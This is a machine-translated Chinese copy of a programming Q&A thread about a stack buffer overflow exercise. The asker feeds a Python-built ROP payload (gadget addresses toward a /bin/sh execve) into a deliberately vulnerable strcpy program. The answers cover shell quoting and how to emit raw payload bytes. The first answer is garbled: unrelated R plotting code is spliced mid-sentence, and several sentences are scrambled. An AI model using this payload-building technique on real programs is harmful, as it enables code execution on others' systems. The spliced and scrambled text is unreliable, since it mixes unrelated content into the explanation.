来自python输入的缓冲区中的strcpy不正确

时间:2016-04-08 20:18:01

标签: python c shell

我试图用C生成的输入填充C中的简单缓冲区。这是ROP项目的惯例。这是简单的C代码:

#include <string.h>    
int main(int argc, char **argv)
{
  char buf[128];
  strcpy(buf, argv[1]);
}

编译为:gcc -m32 -ggdb -fno-stack-protector -mpreferred-stack-boundary=2 test.c -o test

我的硬件:x86-64,Linux Mint。

这是python输入的一部分:

from struct import pack    
p = '//bin/sh'  #address 0xffffd15c
p += 'A'*28

#null terminate our string
p += pack("<I", 0x0806e67a) # pop edx ; ret
p += pack("<I", 0xffffd163) # @ "/bin/sh" + 7
p += pack("<I", 0x080bac56) # pop eax ; ret
p += pack("<I", 0xffffffff) # 0xffffffff, or could xor the instruction
p += pack("<I", 0x0807b0cf) # inc eax ; ret
p += pack("<I", 0x08099fad) # mov dword ptr [edx], eax ; ret

出于某种原因,当我将其输入为argv[1]时,缓冲区会正确填充,直到最后一行。它不是用0x08099fad填充缓冲区,而是0x00009fad。还有更多的输入来跟随这一行,但这就是搞砸了,导致其余的输入是垃圾(不是我输入的)。

由于某种原因,似乎将一个空字节放入strcpy,可能会过早地终止它。但我不知道空字节在哪里。当我尝试输入此地址时也会发生同样的情况,以及稍后:0x080acedc

有什么想法?

谢谢!

2 个答案:

答案 0 :(得分:0)

我假设您将该字符串作为C实用程序的命令行参数提供。 (顺便说一下,test对于实用程序来说不是一个好名字,因为它是一个标准的shell函数,通常作为内置函数实现。)

现在假设您要从终端调用您的实用程序:

./test some thing

显然argv[1]将包含一个四个字符的单词,另一个单词放在argv[2]中。如果你想让单个参数成为命令行的其余部分,你需要引用它:

./test "some thing"

现在,通常当我们从程序中调用实用程序时,我们实际上并不希望shell对这些参数进行解释。我们想使用exec数组和实际参数字符串argv进程shell=True。这样,我们就不必担心空白和外壳元字符,并试图正确引用任意字符串。“

但是为了masochists的好处,python提供了指定library(grid) library(gridExtra) floorGrob <- function(S = c(TRUE, FALSE), J = c(TRUE, FALSE, TRUE, TRUE), draw=TRUE, newpage=is.null(vp), vp=NULL){ m <- rbind(c(1,3,4), # S1 J1 J2 c(7,7,7), # hall c(2,5,6)) # S2 J3 J4 fills <- c(c("#FBB4AE","#CCEBC5")[c(S, J)+1], "grey90") cellGrob <- function(f) rectGrob(gp=gpar(fill=f, col="white", lwd=2)) grobs <- mapply(cellGrob, f=fills, SIMPLIFY = FALSE) g <- arrangeGrob(grobs = grobs, layout_matrix = m, vp = vp, as.table = FALSE, heights = unit(c(4/14, 1/14, 4/14), "null"), widths = unit(c(6/14, 4/14, 4/14), "null"), respect=TRUE) if(draw) { if(newpage) grid.newpage() grid.draw(g) } invisible(g) } floorGrob() 的可能性。即使手册明确警告不要使用此选项,即使人们经常使用它,但它仍然是一个奇怪的流行选择。

顺便说一句,你生成的程序中没有空格(虽然它们可能是)。空间是0x20。但是shell将其他字节解释为空格。例如,tab是0x09。我将它留作练习来弄清楚0x0A的后果是什么。

答案 1 :(得分:0)

正是因此,搜索此答案的人才能获得实际帮助。

我今天遇到了同样的问题。 我发现的是,python本身逃脱了这些角色。 如果你用C编写相同的程序,它将起作用。 如果您打印这样的var:

jmpto = "\xbf\x84\x04\x08"
print(jmpto)

将输出保存到文件中并使用十六进制编辑器查看它,您将看到它实际打印出来:

"C3 BB C2 84 04 08"

当我改为尝试相同的时候:

jmpto = "\x41\x42\x43\x44"
print(jmpto)

在十六进制编辑器中查看它:

"41 42 43 44"

遗憾的是,我不知道如何使用python正确打印这些字符的解决方案。 最简单的解决方案似乎是用C语言编写。

P.S:@ weather-vane,羞辱某人有兴趣了解它如何在引擎盖下工作的重点是什么? 默默无闻的安全(也就是没有告诉所以没有人发现)并不起作用。 有人会打破它。 更好地展示感兴趣的白帽子如何做,他们可能会尝试解决这些问题。

编辑: 感谢Frauenhofer FKIE的某个人,我找到了解决方案。 使用 sys.stdout.buffer.write(ex_str) 其中 ex_str 需要是字节类型。 首先将字符串创建为bytearray,而不是将其转换为字节类型:

import sys
#convert this Hex Address or Hex ASM Code to int: fb 84 04 08
jmpto = [251, 132, 4, 8]
ex_str = bytes(bytearray(b"A"*(132 + 4)) + bytearray(jmpto))
sys.stdout.buffer.write(ex_str)

您还可以使用subprocess.call()或subprocess.run()来启动可执行文件并将其传递给字节Object。

希望有人发现这有用。